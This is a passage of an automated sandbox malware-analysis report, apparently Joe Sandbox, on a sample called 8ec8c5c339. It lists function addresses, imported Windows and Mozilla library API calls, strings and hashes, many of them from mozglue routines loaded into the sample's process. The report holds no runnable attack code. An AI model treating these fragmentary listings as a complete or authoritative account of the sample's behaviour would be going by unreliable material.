Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00409BB0 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00409C16

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410599,?,?), ref: 004098D8

Memory Dump Source

Source File: 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2738630098.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_8ec8c5c339.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C1D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C1D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C1D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C1D6D26

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C1D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C1D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C1D6D73
free.MOZGLUE(00000000), ref: 6C1D6D80
CertGetNameStringW.CRYPT32 ref: 6C1D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C1D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C1D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C1D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C1D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C1D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C1D6E34
CreateFileW.KERNEL32 ref: 6C1D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C1D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C1D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C1D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C1D7103
free.MOZGLUE(00000000), ref: 6C1D7153
CloseHandle.KERNEL32(?), ref: 6C1D7176
__Init_thread_footer.LIBCMT ref: 6C1D7209
__Init_thread_footer.LIBCMT ref: 6C1D723A
__Init_thread_footer.LIBCMT ref: 6C1D726B
__Init_thread_footer.LIBCMT ref: 6C1D729C
__Init_thread_footer.LIBCMT ref: 6C1D72DC
__Init_thread_footer.LIBCMT ref: 6C1D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C1D73C2
VerSetConditionMask.NTDLL ref: 6C1D73F3
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D73FF
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000001,00000003), ref: 6C1D7406
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D741A
moz_xmalloc.MOZGLUE(?), ref: 6C1D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C1D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C1D7598
free.MOZGLUE(00000000), ref: 6C1D75AC

Part of subcall function 6C1FAB89: EnterCriticalSection.KERNEL32(6C24E370,?,?,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284), ref: 6C1FAB94
Part of subcall function 6C1FAB89: LeaveCriticalSection.KERNEL32(6C24E370,?,6C1C34DE,6C24F6CC,?,?,?,?,?,?,?,6C1C3284,?,?,6C1E56F6), ref: 6C1FABD1

Strings

wintrust.dll, xrefs: 6C1D72CD
SHA256, xrefs: 6C1D6EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C1D72C8
(, xrefs: 6C1D768A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 84cbf726a06a56425a4a93c95c391bd730e1dcb3195e237f6dd7be9fca617388
Instruction ID: d9ffd3218f03073b98341ceac1dc8faa5bb304df28259e404fe50e9c77b1a889
Opcode Fuzzy Hash: 84cbf726a06a56425a4a93c95c391bd730e1dcb3195e237f6dd7be9fca617388
Instruction Fuzzy Hash: 2352D971A003189FEB21DF24CC48BAB77B8EB55708F118599ED099B680DB74BE85CF91

Function 6C20F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C20F09B

Part of subcall function 6C1E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B85
Part of subcall function 6C1E5B50: EnterCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B90
Part of subcall function 6C1E5B50: LeaveCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BD8
Part of subcall function 6C1E5B50: GetTickCount64.KERNEL32(?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C20F0AC

Part of subcall function 6C1E5C50: GetTickCount64.KERNEL32 ref: 6C1E5D40
Part of subcall function 6C1E5C50: EnterCriticalSection.KERNEL32(6C24F688), ref: 6C1E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C20F0BE

Part of subcall function 6C1E5C50: __aulldiv.LIBCMT ref: 6C1E5DB4
Part of subcall function 6C1E5C50: LeaveCriticalSection.KERNEL32(6C24F688), ref: 6C1E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C20F155
GetCurrentThreadId.KERNEL32 ref: 6C20F1E0
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F1ED
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F212
GetCurrentThreadId.KERNEL32 ref: 6C20F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C20F248
GetCurrentThreadId.KERNEL32(00000000,00000000), ref: 6C20F2AE
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F2BB
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F2F8

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C20F350
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F35D
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F381
GetCurrentThreadId.KERNEL32 ref: 6C20F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F3A0
GetCurrentThreadId.KERNEL32 ref: 6C20F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F491

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C20F3CF

Part of subcall function 6C20F070: GetCurrentThreadId.KERNEL32 ref: 6C20F440
Part of subcall function 6C20F070: AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F44D
Part of subcall function 6C20F070: ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C20F4A8
GetCurrentThreadId.KERNEL32(00000000,?,00000000), ref: 6C20F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F561
GetCurrentThreadId.KERNEL32(00000000,?,00000000), ref: 6C20F577
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F585
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C20F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C20F56A
[I %d/%d] profiler_resume, xrefs: 6C20F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C20F499

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 735e46ef09f9ea20e8936b68810cba4b072e76f48a5eae27170a75824bb2310b
Instruction ID: cdccb20edd8133fed5845f82ea8b114424dac760f1d804a17889babb2871e6c5
Opcode Fuzzy Hash: 735e46ef09f9ea20e8936b68810cba4b072e76f48a5eae27170a75824bb2310b
Instruction Fuzzy Hash: 79D1C6757046089FDB04BB68D44879BB7B4AB8632CF14861AEE6583BC1DBB05809C7A6

Function 6C1D64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C1D64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C1D64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C1D6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C1D6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C1D652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C1D671C
GetCurrentProcess.KERNEL32 ref: 6C1D6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C1D672F
GetCurrentProcess.KERNEL32 ref: 6C1D6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C1D6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C1D6A80
GetSystemInfo.KERNEL32(?), ref: 6C1D6ABE
__Init_thread_footer.LIBCMT ref: 6C1D6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1D6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C1D6AF7

Strings

_etoured.dll, xrefs: 6C1D64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C1D6798
nvd3d9wrap.dll, xrefs: 6C1D6500
detoured.dll, xrefs: 6C1D64DA
user32.dll, xrefs: 6C1D6526
nvdxgiwrap.dll, xrefs: 6C1D6513

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3bbb8404312548d0b99b2f2be572e1f556da265656fc5dc3968927996fd9782d
Instruction ID: 4e564afd1ab3be7d296c115ae9ee12f2a29925806976d8c7d94da1fb7048f85a
Opcode Fuzzy Hash: 3bbb8404312548d0b99b2f2be572e1f556da265656fc5dc3968927996fd9782d
Instruction Fuzzy Hash: 67F1E370A0522D8FDB20DF24CC88B9AB7B5AF55318F1686D9D819A7781D731BE84CF90

Function 6C20E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6C20E2A6), ref: 6C20E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6C20E2A6), ref: 6C20E386
GetCurrentThreadId.KERNEL32 ref: 6C20E3E4
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6C20E4AB
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E4F5
GetCurrentThreadId.KERNEL32 ref: 6C20E577
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E584
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C20E8A6

Part of subcall function 6C1CB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C1CB7CF
Part of subcall function 6C1CB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C1CB808

Part of subcall function 6C21B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6C240FB6,00000000,?,?,6C20E69E), ref: 6C21B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6C20E6DA

Part of subcall function 6C21B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6C21B916
Part of subcall function 6C21B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6C21B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C20E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C20E883

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C20E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C20E722, 6C20E750, 6C20E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C20E655
MOZ_PROFILER_STARTUP, xrefs: 6C20E5A1, 6C20E5CC, 6C20E5FF, 6C20E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C20E826, 6C20E850

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: 324c700b56d173514c7ebf7390bb4be64d35fec938e30865d13f9e3cb3da8007
Instruction ID: 42377e1f7832713f2c0c0d129c01484a2c6c4bb580fcb0d3fd600c9e01c0b74d
Opcode Fuzzy Hash: 324c700b56d173514c7ebf7390bb4be64d35fec938e30865d13f9e3cb3da8007
Instruction Fuzzy Hash: D202AB757003099FCB14DF28C484A6ABBF5FF89308F54492DE99A8BB50DB70E985CB91

Function 6C1D7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E744), ref: 6C1D7885
LeaveCriticalSection.KERNEL32(6C24E744), ref: 6C1D78A5
EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1D78AD
LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1D78CD
EnterCriticalSection.KERNEL32(6C24E7DC), ref: 6C1D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C1D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C1D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C1D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C1D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C1D7C82
LeaveCriticalSection.KERNEL32(6C24E7DC), ref: 6C1D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C1D7DAF

Strings

D$l, xrefs: 6C1D789F
D$l, xrefs: 6C1D787F

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D$l$D$l
API String ID: 759993129-2678535952
Opcode ID: 611727dd9a11eb782370a5ee5375470b4fdd9d6c9dba61b21a72770e9d626306
Instruction ID: d5b1595b668d642ddca69025950a625c9e4f94e62444cfdebc8dc1dada306887
Opcode Fuzzy Hash: 611727dd9a11eb782370a5ee5375470b4fdd9d6c9dba61b21a72770e9d626306
Instruction Fuzzy Hash: 2E029371A0121A8FDB54CF19C984799B7B5FF88318F2682AADC09A7754D730BE90CF80

Function 6C207E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C207ECF, 6C208335
(pre-xul), xrefs: 6C207E88
v$l, xrefs: 6C208207
data, xrefs: 6C208280, 6C2083E1
schema, xrefs: 6C2081E3, 6C208311

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v$l
API String ID: 3412268980-1653589750
Opcode ID: 0ab887516c03a3bd53c0994332771e41b026544197cf215d37b264bf8eed003d
Instruction ID: 81de4f549890bc2aa44784d6c70647b123cfe19e0e66dfe7e215ed4fcbd25317
Opcode Fuzzy Hash: 0ab887516c03a3bd53c0994332771e41b026544197cf215d37b264bf8eed003d
Instruction Fuzzy Hash: 2AE17DB1B043548BC714CF68C84075BF7E9BB89314F158A2DE899D7780DBB0E9498B92

Function 6C1ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED4F2
LeaveCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED50B

Part of subcall function 6C1CCFE0: EnterCriticalSection.KERNEL32(6C24E784), ref: 6C1CCFF6
Part of subcall function 6C1CCFE0: LeaveCriticalSection.KERNEL32(6C24E784), ref: 6C1CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED52E
EnterCriticalSection.KERNEL32(6C24E7DC), ref: 6C1ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C1ED6A6
LeaveCriticalSection.KERNEL32(6C24E7DC), ref: 6C1ED712
LeaveCriticalSection.KERNEL32(6C24E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C1FD1C5), ref: 6C1ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C1ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C1ED82C
<jemalloc>, xrefs: 6C1ED827

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 0f5bd5d770a3a0e8090a3b06163d05c794d4ac45c5295589dacac75b9bedc768
Instruction ID: 23d66459ccbc668c77f1a9ba69fde0e165acefc488d5adcb607608c117cadc90
